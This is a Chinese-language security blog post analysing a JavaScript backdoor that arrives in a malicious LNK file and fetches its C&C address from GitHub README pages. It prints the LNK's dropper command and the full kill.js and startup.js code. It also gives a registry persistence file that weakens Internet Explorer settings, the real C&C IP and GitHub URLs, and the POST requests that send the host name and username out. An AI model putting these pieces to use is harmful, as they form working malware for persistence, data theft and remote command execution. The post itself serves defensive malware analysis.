使用 Github 作为 C&C 服务的 JavaScript 后门分析

阅读量    39885 |   稿费 180

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

写在前面的话

最近在2018年5月22日发现了一个有趣的LNK文件,该文件使用了一个利用github进行C&C通信的机制,并使用了一个新的基于JavaScript的Bot来在系统上执行恶意活动。

 

ZIP文件

MD5哈希值: f444bfe1e65b5e2bef8984c740bd0a49
LNK文件的MD5哈希值: 219dedb53da6b1dce0d6c071af59b45c
文件名: 200_Germany.lnk
配置文件末尾提及文件详细信息。
LNK文件的目标如下所示:
%comspec% /c copy 2*.lnk %tmp%&%systemdrive%&cd %tmp%&attrib +r *.lnk&for /f "delims=" %a in ('dir /s /b *.LnK') do type "%~fa" | find "p0b2x6">.js &CsCRipt .js "%~fa"
这个LNK文件中包含一个恶意JavaScript脚本,它将被删除并使用cscript执行。
JavaScript如下所示:

它还包含一个诱饵CSV文件,该文件将在执行后显示给最终用户。

LNK文件首先搜索其中包含标记“p0b2x6”的所有代码行。这些行中都会对应将用于执行进一步恶意活动的JavaScript脚本。

 

分析JavaScript文件

1.使用以下WMI查询收集在本机上运行的AV软件的信息:
SELECT displayName FROM AntiVirusProduct

2.通过运行WMI查询收集有关OS版本的信息:
SELECT * FROM Win32_OperatingSystem

3.诱饵内容将从LNK文件中提取,并以文件名200_Germany.csv放在文件系统上。这是显示给用户的诱饵文件,如下所示:

4.它会在路径中创建存储目录:%localappdata% Microsoft PackageCache {37B8F9C7-03FB-3253-8781-2517C99D7C00}“

请注意,环境变量%localappdata%仅出现在Windows 7和以上版本中

5.它创建在存储目录中的一个文件kill.js具有以下内容:

var oWMISrvc = GetObject("winmgmts:\\.\root\cimv2");while(1){WScript.Sleep(180000); cProcNIE();}function cProcNIE() {try {var colProcLst = oWMISrvc.ExecQuery("SELECT * FROM Win32_Process WHERE CommandLine LIKE '%-Embedding%' AND Name = 'iexplore.exe'");var objItem = new Enumerator(colProcLst);for(;!objItem.atEnd();objItem.moveNext()) {var p = objItem.item();p.Terminate();}} catch  (e) {}}

这个JS文件的目的是杀死任何正在运行的具有命令行参数匹配的Internet Explorer实例:“-Embedding”。这样做的原因是因为JavaScript要使用InternetExplorer.Application ActiveX Object来执行C&C通信。

6.使用以下内容在存储目录中创建startup.js文件:

var WshShell = new ActiveXObject("WScript.Shell");
WshShell.Run("C:\Windows\System32\cscript.exe %localappdata%\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\file.js", 0, 0);;

该文件的目的是执行主恶意JavaScript文件。

7.将主JavaScript文件复制到存储目录中,并重命名为file.js
8.执行主JavaScript file.js
9.删除JavaScript的原始实例。
从存储目录执行主JavaScript时执行以下操作。

10.在存储目录中创建一个lck文件h.lck

11.按照上述步骤5中的描述杀死任何正在运行的iexplore.exe实例。

12.使用以下信息在存储目录中创建Windows注册表文件g3r.reg:

Windows注册表编辑器版本5.00

[HKEY_CURRENT_USERSoftwareMicrosoftWindows NTCurrentVersionWindows]
"run"="%localappdata%\Microsoft\PackageCache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}\services.lnk"

[HKEY_CURRENT_USERControl PanelCursors]
"AppStarting"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,74,00,25,00,5c,00,63,00,75,00,72,00,73,00,6f,00,72,00,73,00,5c,00,61,00,65,00,72,00,6f,00,5f,00,61,00,72,00,72,00,6f,00,77,00,2e,00,63,00,75,00,72,00,00,00

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMain]
"Check_Associations"="no"
"NoProtectedModeBanner"=dword:00000001
"IE10RunOncePerInstallCompleted"=dword:00000001

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerRecovery]
"AutoRecover"=dword:00000002

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerPhishingFilter]
"EnabledV9"=dword:00000001

[HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerBrowserEmulation]
"MSCompatibilityMode"=dword:00000001

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced]
"EnableBalloonTips"=dword:00000000

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet Settings]
"GlobalUserOffline"=dword:00000000

[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones3]
"2500"=dword:00000003

[HKEY_CURRENT_USERSoftwarePiriformCCleaner]
"BrowserMonitoring"=-
"(Mon)3001"=-

此注册表文件使用:reg import命令,它会创建Persistence注册表项,该注册表项指向存储目录中的service.lnk文件。

13.在存储目录中创建名称为service.lnk的快捷方式LNK文件,并指向存储目录中的startup.js

 

C&C通信

这个样本中最有趣的是C&C通信部分,因为C&C服务器地址从github中获取,如下所示:
JavaScript调用extract_srvaddr()函数执行以下主要操作:
1.连接到以下github URL:
https://raw.githubusercontent.com/deadpooool/news/master/README.md
https://raw.githubusercontent.com/anvaperhdfjkdhud/1234/master/README.md

寻找模式:“our news start at (.*) thank you”
请参阅下面的截图:

2.一旦找到上述模式,它就提取数字。在我们的例子中,数字是:2077937692956.这个数字是C&C IP地址的十进制表示:185.247.211.198。

3.它调用函数num2dot()将上面的数字转换为IP地址。

4.C&C服务器的验证:它使用一种方法来验证C&C服务器是否确实是实际的预期服务器而不是分析服务器。为此,它构造了以下URLhttp://<C&C_server>/Validate/ValSrv
它连接到上面的URL并查找字符串:youwillnotfindthisanywhare

请参阅下面的截图。

如果在HTML响应中找到该字符串,则继续执行。

 

数据泄露和C&C命令

基于JavaScript的机器人和C&C服务器之间的通信使用InternetExplorer.Application ActiveXObject的实例进行。函数get_page_content_with_ie()用于将GET和POST请求发送到C&C服务器。
发送的主要请求如下所示:
getid:使用以下数据向网址hxxp://185.247.211.198//Validate/getid发送HTTP POST请求:

action = getSerial&computer_name = <computer_name>&username = <username>&version = 1.3&cli = bd
作为响应,C&C服务器将返回ID,如下所示:
1312433611441862
getcommand:它通过向URL发送HTTP POST请求来从C&C服务器检索命令:hxxp://185.247.211.198/Validate/getcommand并发送以下数据:action = getCommand&uid = <id>
服务器响应以下数据:
{'command':'','timeout':'5','interpreter ':''}

在验证时,C&C服务器没有响应命令。
但是,基于JavaScript的静态分析,它将对该命令执行以下操作:
1.解析搜索关键字“下载”的命令
2.如果找到关键字“下载”,则它将分割值使用分隔符,“|”
3.向URL发送HTTP GET请求:hxxp://185.247.211.198/Validate/dwnld?u = <value>以获取响应
4.如果响应是二进制文件,那么该文件将被删除并执行。
否则,命令将直接使用cmd.exe执行

 

配置文件

URLs: [‘https://raw.githubusercontent.com/deadpooool/news/master/README.md’,’https://raw.githubusercontent.com/anvaperhdfjkdhud/1234/master/README.md‘];
version = “1.3”
ref = “bd”
StorageDir = WshShell.ExpandEnvironmentStrings(“%localappdata%”)+”MicrosoftPackageCache{37B8F9C7-03FB-3253-8781-2517C99D7C00}”;
startup_shortcut = services.lnk
agent_location = file.js
agent_hidden_executer = startup.js
g3r = g3r.reg
agent_id_location = id
lckFile = h.lck
ieFile = kill.js
sctFile = SC7.P7D
pyFile = main.py

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多